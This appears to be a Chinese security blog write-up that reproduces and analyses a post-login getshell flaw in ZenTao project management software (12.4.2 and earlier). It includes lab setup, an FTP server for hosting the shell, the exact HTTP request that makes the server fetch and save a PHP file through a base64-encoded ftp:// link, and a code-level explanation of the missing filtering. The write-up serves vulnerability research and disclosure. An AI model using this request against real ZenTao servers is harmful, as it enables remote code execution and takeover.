«

禅道≤12.4.2后台getshell漏洞复现分析

时间:2020-10-25 22:03     作者:admin     分类: 技术文章


简单的介绍下禅道:

禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。

首先搭建环境,安装禅道12.4.2,开源版下载:https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html 。

我在Mac上使用的PHP环境集成软件是国人开发的名为 MxSrvs 的免费集成软件,集成了常见的 nginx+php+mysql+redis+tomcat+beanstalk 容器组件。

详细的介绍使用可以去官网看或者我改天再写一遍关于在Mac上搭建PHP环境加debug。

首先根据禅道官网的手册,可以知道需要pdo, pdo_mysql, json, filter, openssl, mbstring, zlib, curl, gd, iconv这几个模块,

我们看下 MxSrvs 的默认页面,可以看到全部都有的:

mxsrvs_localhost.png

修改 PHP 的配置 session.save_path 不然会出现如下的提示:

install2_session.save_path.png

接下来就是 nginx 的配置,一定要注意,配置 nginx 的伪静态,和 PHP 的 path_info 支持,

不然你测试的适合,访问的URL会是404,当然也可以使用参数&拼接一样:

nginx_rewrite_path_info.png

贴下 nginx 的完整配置,其中的 PHP的监听端口,自己看 软件首页的 PHP 端口,肯定不一样,自行修改:


server {
    listen          80;
    server_name     zentao.test;
    root            /Applications/MxSrvs/www/zentao.test/ZenTaoPMS_12_4_2/www;
    #access_log     /Applications/MxSrvs/logs/zentao.test.log;
    #include            vhosts/_nginx.vhost.fpm;
    location / {
    index index.php index.html index.htm;
        if (!-e $request_filename) {
            rewrite  /(.*)$  /index.php/$1  last;
            break;
        }
    }
    location ~ \.php(.*)$ {
        fastcgi_pass 127.0.0.1:10080;
        fastcgi_index  index.php;
        include fastcgi.conf;
        set $path_info "";
        set $real_script_name $fastcgi_script_name;
        if ($fastcgi_script_name ~ "^(.+?\.php)(/.+)$") {
            set $real_script_name $1;
            set $path_info $2;
        }
        fastcgi_param SCRIPT_FILENAME $document_root$real_script_name;
        fastcgi_param SCRIPT_NAME $real_script_name;
        fastcgi_param PATH_INFO $path_info;
    }

}



然后解压源码道网站根目录,访问zentao.test,开始安装。

如果没有设置好 session.save_path 安装完后首页是空白的,这时候修改 config/my.php 配置文件,打开 debug 模式,在刷新首页 出现提示:

22:18:33 ERROR: 您访问的域名 zentao.test 没有对应的公司。 in /Applications/MxSrvs/www/zentao.test/ZenTaoPMS_12_4_2/module/common/model.php on line 69, last called by /Applications/MxSrvs/www/zentao.test/ZenTaoPMS_12_4_2/module/common/model.php on line 27 through function setCompany. in /Applications/MxSrvs/www/zentao.test/ZenTaoPMS_12_4_2/framework/base/router.class.php on line 2228 when visiting

index_error.png

这是由于配置的 session.save_path 目录 PHP 没有读写权限导致
$ ls -l /tmp
lrwxr-xr-x@ 1 root admin 11 8 7 01:14 /tmp -> private/tmp
解决办法:
其一,要么修改 session.save_path 的配置目录,设置 777 任何人读写权限,或者在 config/config.php 顶部写入:

session_save_path(dirname(dirname(__FILE__)).'/tmp/');

add_session_path.png


修改 /config/my.php 将
$config->requestType = 'GET';
修改为
$config->requestType = 'PATH_INFO';
同时在 /www/index.php 首行加入:
$_SERVER['PATH_INFO'] = preg_replace('/index\.php$/', '', $_SERVER['PATH_INFO']);
即可,重启 PHP 进程后即可使用 http://zentao.test/user-login-Lw==.html 形式的为静态 URL 格式访问

然后再修改 config/my.php 将

$config->installed = true;
修改为:

$config->installed = false;

重新访问首页进行安装,安装的时候,勾选清空数据库。

即可进入到安装界面,进行重新安装。

install1.png

安装后,使用admin管理员账号登录,
同时开一个 FTP 用于下载 shell:
python 创建 FTP 服务
安装 pyftpdlib 库
pip3 install pyftpdlib
开启 FTP 类似 http.server
python3 -m pyftpdlib -p 21 -d /path/to/shell
默认是使用 anonymous 密码为空 即客人模式,开启后可以自己测试
关于 pyftpdlib 的相关说明:https://pyftpdlib.readthedocs.io/en/latest/tutorial.html
下载禅道客户端,解压后加权限执行:
chmod +x ./xxd
参考官网教程,不同平台的执行方式
就可以来复现了,burp抓一个登录后的包,主要是需要cookie,使用如下post包即可在 /data/client/mrxn/目录写入info.php,内容为 phpinfo :

success.png

burp post 数据包:



GET /client-download-mrxn-ZnRwOi8vMTI3LjAuMC4xL2luZm8ucGhw.html HTTP/1.1
Host: zentao.test
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: zentaosid=7nj09hm3959e6t674p5uqmgjv8; lang=zh-cn; device=desktop; theme=default; lastProject=1; lastProduct=1; windowWidth=1917; windowHeight=1121
Connection: close

其中 mrxn 为版本号($version)可以自行设置成保存的目录名,ZnRwOi8vMTI3LjAuMC4xL2luZm8ucGhw 为 base64_encode 后的 下载地址,ftp://127.0.0.1/info.php 。

漏洞分析:

首先是 module/client/control.php的 download 函数:

code_control.png


    /**
     * Download remote package.
     * @param string $version
     * @param string $link
     * @param string $os
     * @return string
     */
    public function download($version = '', $link = '', $os = '')
    {
        set_time_limit(0);
        $result = $this->client->downloadZipPackage($version, $link);
        if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
        $client = $this->client->edit($version, $result, $os);
        if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
        $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
    }

其直接将 version 和 link 以及 os 参数传入model ,没有任何过滤,交由 downloadZipPackage函数来下载,全局搜索 downloadZipPackage 可以找到三处,除了上面这一处,其余两处分别是在


module/client/model.php 第240行 和 module/client/ext/model/xuanxuan.php 第10行,

其中 xuanxuan.php 的 downloadZipPackage 函数 做了一个正则过滤,不允许 http或者https的下载链接,但是可以使用 FTP 协议绕过。

code_xuanxuan.png

其中 model.php 的 downloadZipPackage 定义了下载储存,创建目录,保存路径,等操作,但是对于传入的 version 和 link 也没有任何过滤:

code_model.png


 /**
     * Download zip package.
     * @param $version
     * @param $link
     * @return bool | string
     */
    public function downloadZipPackage($version, $link)
    {
        ignore_user_abort(true);
        set_time_limit(0);
        if(empty($version) || empty($link)) return false;
        $dir  = "data/client/" . $version . '/';
        $link = helper::safe64Decode($link);
        $file = basename($link);
        if(!is_dir($this->app->wwwRoot . $dir))
        {
            mkdir($this->app->wwwRoot . $dir, 0755, true);
        }
        if(!is_dir($this->app->wwwRoot . $dir)) return false;
        if(file_exists($this->app->wwwRoot . $dir . $file))
        {
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
        }
        ob_clean();
        ob_end_flush();

        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');
        $remote = fopen($link, 'rb');
        if($remote === false) return false;
        while(!feof($remote))
        {
            $buffer = fread($remote, 4096);
            fwrite($local, $buffer);
        }
        fclose($local);
        fclose($remote);
        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
    }

定义了文件保存的路径为 data/client/+version+/,link 由 helper类的safe64Decode 函数解码传入的link值,同样未做任何过滤。

其中helper 类的 safe64Decode 其实就是个base64解码:

encode_decode.png

整个调用顺序就是在 后台-客户端-更新这里触发,即 control -->ext model -->model

复现过程中需要注意的就是,对于传入的 base64链接,如果直接是在 终端



$ echo 'ftp://127.0.0.1/info.php'|base64 
ZnRwOi8vMTI3LjAuMC4xL2luZm8ucGhwCg==

会出错,因为默认的 echo 没有 -n 参数会导致默认在行尾添加一个换行符,最终复现会出错,储存的文件名带有 问号,且内容为空:

0byte.png

download_fail.png

为此我还在线找了许久的原因,测试才发现的:

online_check.png

因此 echo 加上 -n 参数 可以避免这种坑 !!!

标签: 渗透测试 漏洞 php 代码审计

版权所有:Mrxn's Blog
文章标题:禅道≤12.4.2后台getshell漏洞复现分析
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读